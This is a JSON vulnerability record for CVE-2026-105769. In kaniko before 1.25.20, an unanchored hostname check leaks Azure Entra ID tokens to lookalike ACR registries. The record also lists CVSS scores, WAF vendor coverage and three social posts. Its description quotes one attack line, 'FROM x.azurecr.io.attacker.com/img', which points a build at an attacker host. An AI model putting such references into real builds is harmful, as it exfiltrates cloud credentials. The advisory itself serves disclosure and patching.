{"basis":"claimed","id":"CVE-2026-105769","name":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","vendorProject":"chainguard","product":"kaniko","publishedAt":"2026-11-02","cvss":{"score":9.3,"severity":"CRITICAL","version":"3.1"},"exploited":null,"epss":null,"coverage":{"cloudflare":{"status":"none","firstOn":null,"daysToRule":null},"aws":{"status":"none","firstOn":null,"daysToRule":null},"azure":{"status":"none","firstOn":null,"daysToRule":null},"google":{"status":"none","firstOn":null,"daysToRule":null},"fastly":{"status":"none","firstOn":null,"daysToRule":null},"f5":{"status":"none","firstOn":null,"daysToRule":null},"akamai":{"status":"no_source","firstOn":null,"daysToRule":null},"crs":{"status":"none","firstOn":null,"daysToRule":null}},"title":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","description":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","cwes":["CWE-346","CWE-522"],"vendors":[{"vendor":"cloudflare","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"aws","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"azure","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"google","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"fastly","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"f5","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"akamai","status":"no_source","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"crs","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]}],"updatedAt":"2026-11-02T21:19:59.290Z","cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","ssvc":{"exploitation":"none","automatable":"no","technicalImpact":"total"},"measured":[],"social":{"total":3,"first_seen":"2026-11-02T20:01:12.000Z","daily":[{"day":"2026-10-20","posts":0},{"day":"2026-10-21","posts":0},{"day":"2026-10-22","posts":0},{"day":"2026-10-23","posts":0},{"day":"2026-10-24","posts":0},{"day":"2026-10-25","posts":0},{"day":"2026-10-26","posts":0},{"day":"2026-10-27","posts":0},{"day":"2026-10-28","posts":0},{"day":"2026-10-29","posts":0},{"day":"2026-10-30","posts":0},{"day":"2026-10-31","posts":0},{"day":"2026-11-01","posts":0},{"day":"2026-11-02","posts":3}],"top_posts":[{"source":"x","kind":"post","url":"https://x.com/TheHackerWire/status/2117346306171519106","author":"TheHackerWire","author_name":"The Hacker Wire","avatar_url":"https://pbs.twimg.com/profile_images/1749149482153902080/5bIzmpsm_bigger.jpg","text":"🚨 CVE-2026-105769 (CVSS 9.3 Critical)\n\nUnanchored regex in Google kaniko (< 1.25.20) ACR helper leaks Azure Entra ID / ARM tokens to lookalike FROM registries in CI/CD without executing commands.\n\n⚡ Action: Upgrade kaniko to v1.25.20 immediately.\n\n🔗 https://t.co/zYLl3x6hjf","engagement":3,"posted_at":"2026-11-02T20:01:12.000Z"},{"source":"x","kind":"post","url":"https://x.com/EnclaveRadar/status/2117399021236953549","author":"EnclaveRadar","author_name":"Enclave Radar","avatar_url":"https://pbs.twimg.com/profile_images/2116963272138121217/F3O3nWOo_bigger.jpg","text":"🆕 New CVE: CVE-2026-105769 (CVSS 9.3)\nkaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts\nRemote, no login needed.\n\nkaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource…\n\nhttps://t.co/zeQ47NdmWo","engagement":0,"posted_at":"2026-11-02T23:30:40.000Z"},{"source":"x","kind":"post","url":"https://x.com/wahlbang07/status/2117372160453103945","author":"wahlbang07","author_name":"wahlbang","avatar_url":"https://pbs.twimg.com/profile_images/2107420950987767809/LSPtKgw3_bigger.jpg","text":"New CVE-2026-105769 (CVSS 9.3) in kaniko: an unanchored ACR hostname check can leak Azure/Entra access tokens to attacker-controlled registries during container builds. \n\nRequires an available Azure identity and untrusted image references. Fixed in v1.25.20.","engagement":0,"posted_at":"2026-11-02T21:43:56.000Z"}],"exploit_repositories":[]}}